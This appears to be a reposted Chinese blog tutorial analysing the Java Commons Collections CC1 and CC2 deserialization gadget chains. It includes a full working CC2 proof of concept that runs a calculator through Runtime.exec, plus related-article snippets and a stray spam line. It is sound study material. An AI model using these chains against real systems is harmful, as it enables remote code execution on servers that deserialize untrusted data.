<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    java反序列化之Commons Collections分析(一)

    VSole2021-10-29 12:34:31

    前言

    在學習java反序列化的過程中,Commons Collections幾乎是反序列化學習中無法繞過的一關。也是各大ctf和awd的常見考點,作為java代碼審計的重要一環,我們今天就來解析一下Commons Collections利用鏈。

    版本問題

    為了簡述,以下commons-collections簡稱為CC,CC2鏈中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其實能使用,但是commons-collections-4.0版本刪除了lazyMapdecode方法,這時候我們可以使用lazyMap方法來代替。但是這里產生了一個疑問,為什么CC2鏈中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中間查閱了一些資料,發現在3.1-3.2.1版本中TransformingComparator并沒有去實現Serializable接口,也就是說這是不可以被序列化的。所以在利用鏈上就不能使用他去構造。

    首先我們貼一下,CC的利用鏈版本,下面是maven依賴

    <dependency>
               <groupId>org.apache.commons</groupId>
               <artifactId>commons-collections4</artifactId>
               <version>4.0</version>
    </dependency>
    

    注意 因為在3.1-3.2.1版本中TransformingComparator類沒有實現Serializable接口,不能夠被序列化,于是就不能在使用鏈上構造了。

    CommonsCollections1

    環境:JDK1.7、commons-collections-3.1-3.2.1

    漏洞點存在于

    commons-collections-3.1-src.jar:
    /org/apache/commons/collections/functors/InvokerTransformer.java
    

    InvokerTransformer 類的transform方法中使用了反射,且反射參數均可控,所以我們可以利用這處代碼調用任意類的任意方法

    接下來我們需要利用反射調用惡意方法比如命令執行:Runtime.getRuntime().exec

    但是得想辦法構造出反射調用,類似下面的方式:

    import java.io.IOException;
    public class exploit {
       public static void main(String [] args) throws IOException{
           // 普通命令執行
           Runtime.getRuntime().exec(new String [] { "deepin-calculator" });
           // 通過反射執行命令
           try{
               Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
                       Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
                       new String [] { "deepin-calculator" }
              );
          } catch(Exception e) {
               e.printStackTrace();
          }
      }
    }
    

    后面的流程就是需要找到能循環調用 transform 方法的地方來構造反射鏈

    commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合適的transform方法,對 iTransformers 數組進行了循環遍歷,并調用其元素的 transform 方法

    所以我們可以構造上文提到的反射調用鏈,將 ChainedTransformer 的 Transformer 屬性按照如下構造:

    Transformer[] transformers = new Transformer[] {
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
           new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
           new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /System/Applications/Calculator.app" })
    };
    

    CommonsCollections2

    之前寫過一篇文章https://zhuanlan.zhihu.com/p/269168330,講解了URLDNS調試分析這種方式,這種雖然是簡單的序列化利用方式,但是麻雀雖小,五臟俱全,正常的反序列化流程都是這么走的。

    不過說到底CommonCollections雖說確實相比于URLDNS要復雜一些。

    我盡量簡化,貼上現在最新的poc

    package com.evalshell.springboot.handler;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    public class CommonCollections1 {
       public static void main(String[] args) throws Exception {
           String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
           String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
           ClassPool classPool = ClassPool.getDefault();
           classPool.appendClassPath(AbstractTranslet);
           CtClass payload = classPool.makeClass("CommonsCollections1123");
           payload.setSuperclass(classPool.get(AbstractTranslet));
           payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
           byte[] bytes = payload.toBytecode();
           Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
           Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
           field.setAccessible(true);
           field.set(templatesImpl,new byte[][]{bytes});
           Field name = templatesImpl.getClass().getDeclaredField("_name");
           name.setAccessible(true);
           name.set(templatesImpl,"test");
           InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
           TransformingComparator comparator = new TransformingComparator(invokerTransformer);
           PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
           queue.add(1);
           queue.add(1);
           Field field2=queue.getClass().getDeclaredField("comparator");
           field2.setAccessible(true);
           field2.set(queue,comparator);
           Field field3=queue.getClass().getDeclaredField("queue");
           field3.setAccessible(true);
           field3.set(queue,new Object[]{templatesImpl,templatesImpl});
           ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
           outputStream.writeObject(queue);
           outputStream.close();
           ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("cc2.ser"));
           inputStream.readObject();
           inputStream.close();
      }
    }
    

    運行的結果如下:

    首先我貼上利用鏈:

    ObjectInputStream.readObject()
    ->PriorityQueue.readObject()
    ->PriorityQueue.heapify
    ->PriorityQueue.siftDown
    ->PriorityQueue.siftDownUsingComparator
    ->TransformingComparator.compare()
    ->InvokerTransformer.transform()
    ->TemplatesImpl.getTransletInstance
    ->cc2.newInstance()
    ->Runtime.exec()
    

    這個過程涉及到下面幾個接口和類:

    TransformedMap

    TransformedMap用于對Java標準數據結構Map做一個修飾,被修飾過的Map在添加新的元素時,將可 以執行一個回調。我們通過下面這行代碼對innerMap進行修飾,傳出的outerMap即是修飾后的Map:

    MapouterMap=TransformedMap.decorate(innerMap,keyTransformer, valueTransformer);
    

    TemplatesImpl

    這里其實是javassist部分的知識,簡單的來說就是動態的新創建了一個CommonsCollections1234這個類中執行的是java.lang.Runtime.getRuntime().exec(\"open //System/Applications/Calculator.app\");這一段的代碼,之后通過byte[] bytes = payload.toBytecode();轉換成二進制數據。

    TemplatesImpl介紹一下這個類的內容,在CC2的鏈中getTransletInstance的方法是其中的一環,首先看到構造方法是protected的并且我也沒有發現什么可以能夠實現它的方法。所以還是通過反射的方式去處理。

    其中是可以看到調用了defineTransletClasses() 方法的。

    于是現在就需要找到什么地方調用了getTransletInstance,就會找到templatesImplnewTransformer方法是調用的

    現在的問題是如何調用 newTransformer,這里我們POC給出的方案是通過InvokerTransformer類來反射調用,于是入口就變成了找到transform方法,有點CC1的味道了。

    InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
    TransformingComparator comparator = new TransformingComparator(invokerTransformer);
    

    最后來看POC的最后一段代碼

    Field field3=queue.getClass().getDeclaredField("queue");
    field3.setAccessible(true);
    field3.set(queue,new Object[]{templatesImpl,templatesImpl});
    

    設置queue為Object[]數組,內容為兩個存在惡意代碼的TemplatesImpl實例實例化對象。調用heapify方法的時候就會進行傳參進去。到此為止走到了readObject方法之后就都走完了,這一條反序列化鏈也OK了.

    參考資料

    https://clq0.top/commons_collections_analysis

    https://www.freebuf.com/articles/web/291406.html

    序列化runtime
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前置知識分析Transformer接口及其實現類。transform()傳入對象,進行反射調用。構造調用鏈調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。
    CVE-2020-14756 這個漏洞的利用比較巧妙,通過利用weblogic coherence組件中的類,繞過了黑名單機制的檢測,重新能夠利用黑名單中的類,造成代碼執行。readExternal和writeExternal方法 而ExternalizableLite接口的對象可以在里被序列化。在put方法里,調用了compare方法而這里又會調用WrapperComparator的compare方法 這個f_comparator就是之前已經賦值過的。然后又會調用子類MvelExtractor的extract方法。這里不但會將ObjectInput轉為DataInput,還會主動調用。判斷輸入流類型之后,調用了readObject。然后通過getObjectInputFilter/getInternalObjectInputFilter方法去獲取serialFilter,之后,調用checkInput,對當前序列化的類進行檢測。
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    java序列化與反序列化
    2022-04-13 16:35:35
    java反序列化指字節序列恢復到java對象。bit,則一個字最大為 FFFF。序列化是把對象轉換成有序字節流,以便在網絡上傳輸或者保存在本地文件中。序列化后的字節流保存了Java對象的狀態以及相關的描述信息。序列化機制的核心作用就是對象狀態的保存與重建。
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    在學習java反序列化的過程中,Commons Collections幾乎是反序列化學習中無法繞過的一關。也是各大ctf和awd的常見考點,作為java代碼審計的重要一環,我們今天就來解析一下Commons Collections利用鏈。
    它指的是一個有用的工具庫,幫助處理和操作XML格式的數據。ROME庫允許我們把XML數據轉換成Java中的對象,這樣我們可以更方便地在程序中操作數據。另外,它也支持將Java對象轉換成XML數據,這樣我們就可以把數據保存成XML文件或者發送給其他系統。
    URLDNS鏈子是Java反序列化分析的第0課,網上也有很多優質的分析文章。筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現將字節序列轉化成對象。測試源碼如下,此部分源碼參考了ol4three師傅的博客:package?將輸出字節流寫入文件中進行封存。讀取字節流操作為readObject,所以重寫readObject可以執行自定義代碼。影響的版本問題:與JDK版本無關,其攻擊鏈實現依賴于Java內置類,與第三方庫無關?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类